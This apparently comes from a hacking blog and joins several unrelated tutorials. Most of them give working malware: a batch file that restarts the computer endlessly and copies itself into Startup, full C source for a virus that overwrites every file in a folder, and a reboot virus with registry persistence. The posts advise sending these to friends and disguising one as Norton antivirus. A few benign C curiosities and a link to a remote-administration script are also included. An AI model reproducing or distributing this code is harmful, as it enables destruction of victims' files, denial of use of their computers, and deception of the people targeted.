How to create a Batch File

This tutorial is about batch file programming, How to code a bit harmful virus using batch file and How to prevent against this virus. Read this amazing post and don’t forget to leave your feedback in comments.

Batch file commands :

@echo off
shutdown -r -t 100 -c “maverick”
xcopy “filename.bat” “C:Documents and SettingsAll UsersStart MenuProgramsStartup” /y
____________________________________________________________

Save it as any name with a .bat extension but with name *filename.bat*
you can change “maverick” with what ever message you want, You can also change “100“(in secs) with whatever time you want to restart.

if you changes *filename.bat* to “othername.bat” then also changes the above code to

|| xcopy “othername.bat” “C:Documents and SettingsAll UsersStart MenuProgramsStartup” /y ||

Send this file to your friends using a pendrive or by uploadig it to rapidshare/hotfile service.

LOGIC:-

.bat- Files having these extensions are known as batch files containg commands to be executed by command interpreter.
@echo off –  This command is used to turn off the display of executing command in command console.
-r – This parameter restarts the PC.You can also use “-s” (without quotes) to shutdown the PC.
-t :- This parameter specifies time in seconds.
-c :- This parameter is used to specify a message in the shutdown box.
xcopy:- This command copies the file specified with double quotes “othername.bat” to the location specifies (in this case startup) with double quotes “C:Documents and SettingsAll UsersStart MenuProgramsStartup”
Startup:This folder contans files to be open when ever your computer boot ups.If you place a file here it will automatically open that file on every boot.
y :- This parameter asks the command prompt to overwrite the file

After running this virus, your PC will restart and again and so on..
only way to stop this mess is to directly plug off the switch from the power board.

Solution:

Open your computer in safe mode and permanently delete the batch file from the startup folder.

Keep visiting How to Hack 
Leave your feedback in comment. 

C Plus Plus Programming Tutorial | Basics Of C++

This tutorial is about C++ Programming language. I will teach C++ from very basics to advanced level in this post and upcoming posts. Just wait and read all the posts regularly.
This tutorial is mainly about theoretical knowledge but is very important!

Some Definitions :

•  Bit : It is the smallest unit a computer can understand. it is either 0 or 1. 0 generally means circuit is OFF and 1 means ON.
• ASCII : All characters on keyboard have a code which is known as ASCII code.
  Range A-Z  ->  65-90
  a-z  ->  97-122
• Byte : Group of 8 bits. 1 byte means 1 character.
• Program : It is a step by step instruction which tell what to do and how to do.
• Object Code : A program which a machine can understand is called Object Program.\

Compiler : 
A program which converts source code[ English like step wise instruction to computer] to object code[language which a machine can understand].
IT executes the entire program at once and hence It is faster.

Interpreter :
A program which converts source code[ English like step wise instruction to computer] to object code[language which a machine can understand]. But the interpreter executes the program line by line and hence it is slower.
Constants : 
Integer Constant :

• Consist of 0-9
• Doesn’t includes commas or spaces.
• Preceded by a + or – sign. + sign is assumed if there isn’t any sign.

Character constants : Any single character enclosed in single quote (‘). Ex :- ‘a’ ,  ‘b’ .

Strings : Generally consist of more than one character within double quote (“).
Ex: “comp”, “abcd”.

Difference between String and Character :
Character constant takes 1 byte for storage while string constant takes 2 bytes for storage because in String  a byte is reserved for Null Byte.
Memory representation : 
Character : ‘A’    ==   |A| << stored in one memory cell
String : “A”  ==  |A|\0|  << stored in 2 memory cells with \0 as a NULL byte.

Variables in C++ : These are the tokens that are identified by identified by an identifier and change the value during execution.
Ex : int a=5;
a=a+3;
cout<<a;
Here a is a variable. The initial value of a was 5 but it was then changed to 8 by command a=a+3 .

Ending the tutorial here!
The next tutorial will be about data types and a sample program.
Stay tuned with How to Hack!
Leave your feedback and queries in comments! 

How to Create a Computer Virus?

This program is an example of how to create a computer virus in C language. This program demonstrates a simple virus program which when executed creates a copy of itself in all the other files that are present in the same directory.

Thus, it destroys other files by infecting them. The infected file will also become a virus so that when executed, it is capable of spreading the infection to another file and so on.

Here’s the source code of the virus program:

#include<stdio.h>
#include<io.h>
#include<dos.h>
#include<dir.h>
#include<conio.h>
#include<time.h>

FILE *virus,*host;
int done,a=0;
unsigned long x;
char buff[2048];
struct ffblk ffblk;
clock_t st,end;

void main()
{
st=clock();
clrscr();
done=findfirst(“*.*”,&ffblk,0); //Search for a file with any extension (*.*)
while(!done)
{
virus=fopen(_argv[0],”rb”);
host=fopen(ffblk.ff_name,”rb+”);
if(host==NULL) goto next;
x=89088;
printf(“Infecting %s\n”,ffblk.ff_name,a);
while(x>2048)
{
fread(buff,2048,1,virus);
fwrite(buff,2048,1,host);
x-=2048;
}
fread(buff,x,1,virus);
fwrite(buff,x,1,host);
a++;
next:
{
fcloseall();
done=findnext(&ffblk);
}
}
printf(“DONE! (Total Files Infected= %d)”,a);
end=clock();
printf(“TIME TAKEN=%f SEC\n”,
(end-st)/CLK_TCK);
getch();
}

This virus is designed to infect all types of files with any extension.

You can download the source code from the following link:

Download Source code

How the Virus Program Works?

The algorithm of this virus program is as follows:

Step-1: Search for files in the current directory. If one or more file is present, load the first file (target file).

Step-2: Load the copy of the virus itself onto the memory.

Step-3: Open the target file. Copy the virus code from the memory and place it in the target file. Close the target file when the copying process is completed.

Step-4: Load the next file to infect and move to the step-3. If all the files are infected, close all the open files, unload them from the memory and exit.

As far as the technical terms are concerned, I would not be able to explain the program line by line. Anyone with a working knowledge of C should be easily able to understand the functions and other terms used in the program.

How to Compile the Program:

For a step-by-step guide, you can refer my detailed post on how to compile C programs?

How to Test the Virus After the Compilation:

1. Create a new empty folder.
2. Put some executable files (or any other files) in the folder.
3. Run the PC_Virus.exe file. With in a few seconds all the other files in the folder gets infected.
4. Now every infected file is a new virus which is ready to re-infect. You can copy any of the infected .exe file to another empty folder and repeat the same procedure to see if the infected file is capable of re-infecting. Delete the folder and all the infected files after the testing process is done.

C Program to Print its Own Source Code

Ever wondered how to write a C program to print its own source code? Well, here is the source code of a C program that when executed will print its own source code. In other words, the output of this program is exactly same as its source code.

Here’s the program:

#include<stdio.h>

char *program=”#include<stdio.h>%cchar *program=%c%s%c;%cvoid main()%c{%cprintf(program,10,34,program,34,10, 10,10,10);%c}”;

void main()
{
printf(program,10,34,program,34,10,10,10,10);
}

C Program Without a Main Function

Have you ever wondered how to write a C program without a main function? Can a C program execute with a main function? Is it possible to do that?

Well, the answer is YES! There can be a C program without a main function. Here is the source code of the program without a main function:

#include<stdio.h>
#define decode(s,t,u,m,p,e,d) m##s##u##t
#define begin decode(a,n,i,m,a,t,e)

int begin()
{
printf(” hello “);
}

The above program runs perfectly fine even without a main function. But how? What’s the logic behind it? How can we have a C program working without a main function. Read on to find out the answer…

Here, we are using a preprocessor directive called #define with arguments to give an impression that the program runs without the main function. However, in reality it runs with a hidden main function in it.

NOTE: A Preprocessor is program which processes the source code before compilation.

The ‘##‘ operator is called the token pasting or token merging operator. That is, we can merge two or more characters with it. Now, look at the 2nd line of program:

#define decode(s,t,u,m,p,e,d) m##s##u##t

What is the preprocessor doing here? The macro decode(s,t,u,m,p,e,d) is being expanded as “msut” (The ## operator merges m, s, u and t into msut). The logic is, when you pass (s,t,u,m,p,e,d) as argument it merges the 4th, 1st, 3rd and the 2nd characters (tokens).

Now, look at the third line of the program:

#define begin decode(a,n,i,m,a,t,e)

Here the preprocessor replaces the macro “begin” with the expansion decode(a,n,i,m,a,t,e). According to the macro definition in the previous line, the argument must be expanded so that the 4th, 1st, 3rd and the 2nd characters must be merged. In the argument (a,n,i,m,a,t,e) 4th, 1st, 3rd and the 2nd characters are ‘m’, ‘a’, ‘i’ and ‘n’.

So the third line “int begin” is replaced by “int main” by the preprocessor before the program is passed on to the compiler. That’s it.

The bottom line is that, there can never exist a C program without a main function. Here, we are just playing a gimmick that makes us believe that the program runs without the main, but there actually exists a hidden main function in the program. Here, we are using the proprocessor directive to intelligently replace the word “begin” by “main”. In simple words: int begin = int main.

A Virus Program to Restart the Computer

In this post, I will show you how to create a virus to restart the computer at every startup. That is, upon infection, the computer will get restarted every time the system is booted. As a result, the computer will become inoperable as it reboots again as soon as the desktop is loaded.

For this, the virus needs to be executed only once and from then on, it will carry out rest of the operation on its own. I have programmed this virus using the C language. If you are familiar with theC language then it is too easy to understand the logic behind the coding. The code is not posted here in this article, but you can download it from the link below.

Compiling the source code into an executable module:

1. Download the Source Code Here.
2. UnRar the file and you should see the source code: Sysres.C
3. For a step-by-step compilation guide, refer my post: How to compile C Programs?

Testing and removing the virus from your PC:

You can compile and test this virus on your own PC without any fear. To test, just double-click thesysres.exe file and restart the system manually. From now on, every time the PC is booted and the desktop is loaded, your PC will restart automatically again and again.

It will not do any harm apart from automatically restarting your system. After testing it, you can remove the virus by following the below mentioned steps:

1. Reboot your computer in the safe mode.
2. Go to:
   %systemroot%\Windows\System
   (%systemroot% can be C,D,E or F)
3. You will find a file by name sysres.exe, delete it.
4. Type regedit in run. You will go to the registry editor. Here navigate to:
   HKEY_CURRENT_USER\Software\Microsoft\Windows\ CurrentVersion\Run
   There, on the right site you will see an entry by name “sres“. Delete this entry. That’s it. You have now removed this virus successfully.

Logic Behind the working of this virus program:

If I do not explain the logic(Algorithm) behind the working of the virus program, I think this post would become an incomplete one. So I’ll explain the logic in a simplified manner without getting much into the technical aspects of the program. If you have further doubts, you can pass your comments.

LOGIC:

1. First the virus will find the Root partition (Partition on which Windows is installed).
2. Next, it will determine whether or not the virus file (sysres.exe) is already copied into%systemroot%\Windows\System.
3. If not it will just place a copy of itself into %systemroot%\Windows\System and makes a registry entry to put this virus file into the Windows startup.
4. Or else if the virus is already found in the %systemroot%\Windows\System directory (folder), then it just gives a command to restart the computer.

This process is repeated every time the PC is restarted.

NOTE: The system will not be restarted as soon as you double click the Sysres.exe file.The restarting process will occur from the next boot of the system.

How to change the icon of the executable module (This step is optional):

After you compile, the sysres.exe file that you get will have a default icon. If you send this file to your friends they may not execute it since it has a default ICON. So it is possible to change the ICON of this Sysres.exe file into any other ICON that is more trusted and looks attractive.

For example, you can change the icon into Norton antivirus ICON itself so that the people seeing this file believes that it is Norton antivirus. Or you can change its ICON into the ICON of any popular or trusted programs so that people will definitely click on it.

Python - Linux Remote Administration Tool

I have been working on a project recently and thought it may be time to share it with the community.

Minus a few test runs here and there, this is essentially my first python project and would appreciate the feedback, especially with error handling as I'm certain the blood of a few python wizards will soon boil.

We had to include a few various different elements to pass the criteria, and quite frankly I wanted to get into Python classes early. It will only work when connecting to Linux distributions as of yet, with Windows expected to be implemented in the next few weeks once I have some free time.

The progress bar displays twice for some reason too, so if anyone fancies helping me out that would be appreciated. The banner grab is also fairly unpredictable for reasons unknown.

It would be worth changing the self.Str in line 145 to a path on the remote system
Also change the SFTP local and remote host paths as required
(Line 201, 202)

Usage:

Insert IP, Port, User and Pass
Hit 1 : The Bad Samaritan
Enter commands into the loop
Break the loop with 'Disconnect'
Verify string
Make connection and send string to server, outputting response to file
Hit 2: The Retrieval Job
Verify file transferred to local machine successfully

So without further ado

http://pastebin.com/6xQU463d

Feel free to edit, modify, study the code as you see fit
Feedback welcome.

Credit to Sergeant Sploit for the knowledge kindly shared a good few months back now. Thank you my friend.